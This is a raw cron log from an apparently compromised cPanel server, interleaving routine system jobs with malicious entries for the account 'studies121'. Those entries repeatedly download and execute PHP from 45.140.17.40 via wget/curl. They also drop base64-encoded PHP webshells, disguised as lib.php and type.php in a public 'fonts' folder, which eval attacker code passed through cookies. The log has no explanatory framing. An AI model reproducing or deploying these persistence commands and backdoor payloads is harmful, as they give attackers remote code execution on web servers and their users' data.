Sep 12 12:57:01 ip-184-168-122-23 CROND[29964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:58:01 ip-184-168-122-23 CROND[30042]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:58:01 ip-184-168-122-23 CROND[30045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:58:01 ip-184-168-122-23 CROND[30044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:58:01 ip-184-168-122-23 CROND[30046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:58:01 ip-184-168-122-23 CROND[30047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:59:01 ip-184-168-122-23 CROND[30142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:59:01 ip-184-168-122-23 CROND[30145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:59:01 ip-184-168-122-23 CROND[30143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:59:01 ip-184-168-122-23 CROND[30144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:00:01 ip-184-168-122-23 CROND[30348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:00:01 ip-184-168-122-23 CROND[30347]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 13:00:01 ip-184-168-122-23 CROND[30353]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:00:01 ip-184-168-122-23 CROND[30354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:00:01 ip-184-168-122-23 CROND[30356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:00:01 ip-184-168-122-23 CROND[30358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:00:01 ip-184-168-122-23 CROND[30360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:00:01 ip-184-168-122-23 CROND[30357]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:01:01 ip-184-168-122-23 CROND[30484]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30484]: starting 0anacron
Sep 12 13:01:01 ip-184-168-122-23 CROND[30491]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 13:01:01 ip-184-168-122-23 CROND[30490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:01:01 ip-184-168-122-23 CROND[30493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:01:01 ip-184-168-122-23 CROND[30495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:01:01 ip-184-168-122-23 CROND[30496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30504]: finished 0anacron
Sep 12 13:02:01 ip-184-168-122-23 CROND[30593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:02:01 ip-184-168-122-23 CROND[30595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:02:01 ip-184-168-122-23 CROND[30597]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:02:01 ip-184-168-122-23 CROND[30601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:02:01 ip-184-168-122-23 CROND[30603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:03:01 ip-184-168-122-23 CROND[30700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:03:01 ip-184-168-122-23 CROND[30702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:03:01 ip-184-168-122-23 CROND[30704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:03:01 ip-184-168-122-23 CROND[30703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:04:01 ip-184-168-122-23 CROND[30789]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:04:01 ip-184-168-122-23 CROND[30791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:04:01 ip-184-168-122-23 CROND[30793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:04:01 ip-184-168-122-23 CROND[30794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:04:01 ip-184-168-122-23 CROND[30792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:05:02 ip-184-168-122-23 CROND[30975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:05:02 ip-184-168-122-23 CROND[30976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:05:02 ip-184-168-122-23 CROND[30981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:05:02 ip-184-168-122-23 CROND[30980]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 13:05:02 ip-184-168-122-23 CROND[30982]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:05:02 ip-184-168-122-23 CROND[30993]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:05:02 ip-184-168-122-23 CROND[30996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:06:01 ip-184-168-122-23 CROND[31077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:06:01 ip-184-168-122-23 CROND[31080]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:06:01 ip-184-168-122-23 CROND[31079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:06:01 ip-184-168-122-23 CROND[31082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:06:01 ip-184-168-122-23 CROND[31081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:07:01 ip-184-168-122-23 CROND[31192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:07:01 ip-184-168-122-23 CROND[31195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:07:01 ip-184-168-122-23 CROND[31196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:07:01 ip-184-168-122-23 CROND[31194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:08:02 ip-184-168-122-23 CROND[31282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:08:02 ip-184-168-122-23 CROND[31284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:08:02 ip-184-168-122-23 CROND[31285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 13:08:02 ip-184-168-122-23 CROND[31286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:08:02 ip-184-168-122-23 CROND[31290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:09:01 ip-184-168-122-23 CROND[31381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 13:09:02 ip-184-168-122-23 CROND[31384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:09:02 ip-184-168-122-23 CROND[31386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 13:09:02 ip-184-168-122-23 CROND[31383]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 13:09:02 ip-184-168-122-23 CROND[31385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:10:01 ip-184-168-122-23 CROND[31553]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
